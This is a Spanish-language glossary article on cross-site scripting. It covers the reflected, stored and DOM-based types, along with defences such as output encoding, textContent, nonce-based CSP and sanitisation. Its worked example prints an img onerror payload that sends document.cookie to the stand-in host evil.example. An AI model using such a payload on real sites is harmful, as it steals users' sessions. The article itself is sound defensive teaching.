# cross-site scripting

## Qué es

Cross-site scripting, casi siempre abreviado como XSS, es el ataque en el que un sitio web toma texto procedente de otra persona, lo introduce en una página que sirve a otras y no lo neutraliza al hacerlo, de modo que el navegador interpreta parte de ese texto como código y lo ejecuta. Common Weakness Enumeration lo registra como CWE-79, con un título que expresa prácticamente lo mismo: entrada sin neutralizar al generar una página web. El atacante nunca modifica el código del sitio. Aporta datos y el propio sitio entrega el script a sus usuarios, dentro de sus propias páginas.

Hay tres vías de entrada, descritas tanto por CWE como por OWASP. En el XSS reflejado, también llamado no persistente o de tipo 1, la carga del ataque viaja en la petición, normalmente como parámetro de una URL, y el servidor la copia en la respuesta: una página de resultados de búsqueda, un mensaje de error o cualquier elemento que repita lo recibido. Hay que atraer a la víctima para que abra un enlace preparado, por lo que la entrada de CWE sitúa estos enlaces en el núcleo de muchas campañas de phishing. En el XSS almacenado, también llamado persistente o de tipo 2, la carga se guarda primero en un comentario, una publicación de un foro, un campo del perfil o un mensaje de registro, y se ejecuta para cualquiera que consulte después ese registro. En el XSS basado en DOM, de tipo 0, es posible que el servidor nunca vea la carga. El JavaScript de la propia página lee algo que controla el atacante, como la parte de la URL posterior a `#`, y lo escribe en el documento de una forma que hace que el navegador lo interprete como marcado.

El nombre encaja mal con el problema actual, y OWASP lo reconoce: su guía de prevención lo califica de denominación inadecuada. Procede de ataques iniciales que robaban datos entre sitios y desde entonces se ha ampliado hasta abarcar la inyección de casi cualquier contenido en una página, intervenga o no un segundo sitio. Incluso la abreviatura tiene historia. La entrada de CWE recuerda que el acrónimo obvio de tres letras era habitual en los primeros años, hasta que la coincidencia con Cascading Style Sheets hizo que dejara de utilizarse.

OWASP clasifica XSS como un tipo de inyección, de la misma familia que la inyección SQL. En ambos casos, los datos cruzan una frontera hacia un lugar donde se interpretan como instrucciones: allí, el SQL que ejecuta una base de datos; aquí, el marcado, los valores de atributos y el JavaScript de una página. La solución tiene la misma forma en ambos casos. Mantenga los datos como datos en el momento de insertarlos, y el intérprete no tendrá nada del atacante que ejecutar.

## Por qué importa

El script se ejecuta como si fuera propio del sitio. El navegador no registra de dónde procedía el texto: ve una página servida por el sitio, desde su origen, y concede al script todo lo que permite ese origen. OWASP resume el problema en una línea: el navegador «no tiene forma de saber que no debería confiar en el script». La entrada de CWE extrae la consecuencia. El ataque frustra la intención de la política del mismo origen, que existe para impedir que un script de un sitio acceda a otro.

Ese script puede hacer lo mismo que el usuario. CWE-79 identifica el robo de información privada de las cookies, como los datos de sesión, como el ataque más común, y advierte que es especialmente peligroso cuando la víctima tiene privilegios de administrador en el sitio. La lista de OWASP es más larga: suplantar la cuenta, observar lo que hace el usuario, cargar contenido de otros lugares, robar datos sensibles y reescribir la propia página. El XSS almacenado en un mensaje de registro es una vía clásica hacia precisamente esas víctimas. CWE lo utiliza como ejemplo porque quienes leen los registros suelen ser administradores, y un visor de registros puede no tratar correctamente una entrada hostil.

Afecta a todos los equipos web, no solo a quienes aún escriben el marcado a mano. Los frameworks modernos han reducido la frecuencia de XSS: OWASP atribuye la disminución de errores a sus plantillas y al escape automático. Todos conservan mecanismos para eludir esa protección cuando un desarrollador quiere insertar marcado directamente, y OWASP los identifica como lugares donde siguen apareciendo problemas. La misma guía deja claro que ninguna técnica resuelve por sí sola XSS y que hace falta combinarlas. Ese es el planteamiento del resto del artículo: codificar primero para el contexto correcto y añadir las otras capas detrás.

## Cómo se aplica en la práctica

Considere una tienda cuya página de búsqueda repite el término buscado, de modo que `https://shop.example/search?q=lamp` muestra `Results: lamp`. El servidor construye esa línea pegando el parámetro en la plantilla de la página. Un atacante envía a la víctima un enlace cuyo `q` contiene esto:

```html
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

El servidor lo inserta igual que antes y el navegador de la víctima recibe:

```html
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

La imagen no se carga, porque `x` no es una imagen, y el navegador ejecuta el controlador `onerror`, que envía las cookies del usuario al servidor del atacante. El código está en un atributo, no en un elemento `<script>`, y eso es habitual: la carga de ejemplo del propio OWASP utiliza de la misma forma el atributo `onerror` de una imagen.

La solución es codificar el valor para el lugar donde se inserta. En el texto del cuerpo HTML, eso significa convertir los cinco caracteres `&`, `<`, `>`, `"` y `'` en `&amp;`, `&lt;`, `&gt;`, `&quot;` y `&#x27;`. La misma carga llega entonces como `&lt;img src=x onerror=&quot;...&quot;&gt;`, que el navegador muestra como texto y nunca interpreta como una etiqueta. Los frameworks con escape automático hacen esto por usted; el hueco aparece donde se construye una cadena a mano.

En la variante basada en DOM, el servidor solo envía una página estática y el script de la propia página lee `q` y lo escribe en el encabezado:

```js
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parses q as HTML
heading.textContent = `Results for ${q}`; // shows q as text
```

La línea con `innerHTML` entrega el marcado del atacante al analizador HTML y el controlador `onerror` se activa como antes. El estándar HTML señala que un elemento `<script>` insertado de esta forma no se ejecuta, por lo que las cargas recurren a los atributos de controladores de eventos. La línea con `textContent` crea un nodo de texto sin interpretar nada, así que el mismo valor se muestra como caracteres inofensivos. La guía de OWASP sobre XSS en DOM considera que elegir un destino seguro como este es la mejor solución, y su guía general pide refactorizar para sustituir `innerHTML` por `textContent`.

Detrás de la codificación hay una segunda capa. Una Content Security Policy que incluya un nonce indica al navegador que solo ejecute los scripts que lo llevan. El borrador actual del W3C exige que el servidor genere un nonce nuevo cada vez que envía una política y recomienda al menos 128 bits procedentes de un generador de números aleatorios criptográficamente seguro. Un `<script>` inyectado no tiene nonce, y también se rechaza un controlador en línea como el `onerror` anterior, porque solo `'unsafe-inline'` o `'unsafe-hashes'` pueden permitir controladores, y un nonce desactiva `'unsafe-inline'`. El borrador presenta `script-src 'strict-dynamic' 'nonce-{RANDOM}'` junto con `base-uri 'self'` como una defensa contra XSS que funciona y se puede desplegar en la práctica. En navegadores basados en Chromium, `require-trusted-types-for 'script'` va más allá y hace que destinos como `innerHTML` rechacen cadenas de texto ordinarias. OWASP sigue advirtiendo que es fácil configurar mal una política y la mantiene como capa adicional, no como defensa principal.

En una plataforma con datos profesionales y de organizaciones, el middleware de Next.js
[establece una política así, con un nonce por petición y strict-dynamic](/es/portfolio/hardened-the-application-with-nonce-based-csp/)
junto con HSTS y cookies SameSite, para que el navegador restrinja lo que ejecuta y envía. La misma página describe protecciones dispuestas en capas para evitar depender de un único control. La autorización del servidor está diseñada para funcionar con independencia de las comprobaciones del cliente, de modo que la interfaz no es la autoridad que decide el acceso.

## Dónde surgen los problemas

**Codificar para el contexto equivocado.** La codificación de entidades HTML es adecuada para el texto entre etiquetas, pero insuficiente en otros lugares. OWASP asigna una regla a cada contexto: un valor dentro de un parámetro URL se codifica por porcentajes con la forma `%HH`, y un valor dentro de un atributo se codifica para atributos y se encierra entre comillas. La codificación solo protege además el lugar donde se coloca una cadena, no lo que le ocurra después; un valor pasado a `eval()` es inseguro independientemente de lo que se haya hecho antes con él. Identifique dónde se inserta cada valor y utilice el codificador del framework para ese lugar.

**Atributos sin comillas.** El espacio en blanco termina un valor de atributo sin comillas, así que un atacante que pueda añadir un espacio también puede añadir un atributo propio, y basta con `onmouseover=`. Encierre siempre los valores de los atributos entre comillas y utilice el codificador de atributos del framework.

**Datos del usuario dentro de un atributo de controlador de eventos.** La codificación de atributos no protege el JavaScript de `onclick` o similares, porque el analizador HTML decodifica las referencias de caracteres antes de que se ejecute el script. Asocie los controladores con `addEventListener()` y pase el valor del usuario como dato.

**Un mecanismo del framework que elude la protección recibe entradas sin tratar.** `dangerouslySetInnerHTML` de React, las funciones `bypassSecurityTrustAs*` de Angular y `unsafeHTML` de Lit desactivan el escape automático. Cuando los usuarios realmente necesitan redactar marcado, páselo por una herramienta de saneamiento como DOMPurify, que OWASP recomienda, no modifique después el resultado y mantenga la biblioteca actualizada con los parches, porque siguen descubriéndose formas de eludirla.

**Una URL `javascript:` en un enlace.** Un campo de sitio web en un perfil que contenga `javascript:` seguido de código convierte un enlace aparentemente inofensivo en un script. React 19 bloquea esas URL en `src` y `href`, pero OWASP indica que eso no sustituye la validación de URL de la propia aplicación. Permita los esquemas que el campo necesite realmente, como `https:`, y rechace todo lo demás.

**Tratar la validación de entradas o un WAF como solución.** La validación ayuda, pero no puede eliminar todos los caracteres peligrosos del texto libre. El ejemplo de CWE es el emoticono de corazón `<3`, que probablemente dejaría pasar la validación de una aplicación de chat y que aun así contiene `<`. Un cortafuegos de aplicaciones web reconoce cadenas de ataque conocidas, no detecta nuevas formas de eludirlo y nunca ve el XSS basado en DOM que ocurre por completo en el navegador; OWASP no lo recomienda para prevenir XSS. Codifique la salida y trate ambos mecanismos como capas adicionales.

**Tratar HttpOnly como remedio.** Marcar la cookie de sesión como HttpOnly impide que `document.cookie` la lea, lo que reduce la eficacia de la carga más común. Sin embargo, el script sigue ejecutándose y puede actuar como el usuario desde dentro de la página. CWE dice que HttpOnly no es una solución completa, y OWASP indica que los atributos de cookies limitan el impacto sin impedir la ejecución. Actívelo y corrija la inyección.

**Servir JSON como HTML.** Un endpoint que devuelve datos del usuario con `Content-Type: text/html` invita al navegador a interpretarlos como una página. La regla de OWASP es comprobar que JSON se envíe como `application/json`. Defina explícitamente la cabecera en cada respuesta de ese tipo.

**Tratar la política como defensa principal.** Un nonce reutilizado entre respuestas, la ausencia de `base-uri` o un `'unsafe-inline'` añadido para que funcione un widget pueden deshacer silenciosamente una política. Codifique primero y deje que la política intercepte lo que se escape.

## Lecturas adicionales

- [CWE-79 en Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html)
  — la entrada sobre la debilidad: los tres tipos, las consecuencias y las mitigaciones con sus límites.
- [Guía de OWASP para prevenir cross-site scripting](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
  — codificación según el contexto, mecanismos del framework que eluden la protección, saneamiento y capas adicionales.
- [Guía de OWASP para prevenir XSS basado en DOM](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
  — destinos seguros e inseguros en el navegador, con ejemplos desarrollados.
- [OWASP: cross-site scripting (XSS)](https://community.owasp.org/attacks/xss/)
  — el ataque descrito desde el lado del atacante, con cargas de ejemplo.
- [Estándar HTML: scripting](https://html.spec.whatwg.org/multipage/scripting.html)
  — cómo y cuándo se ejecuta el elemento `script`, incluido el marcado insertado.
- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/)
  — nonces, `'strict-dynamic'` y la política estricta que recomienda el borrador.

<https://engineer.company/es/glossary/cross-site-scripting/>
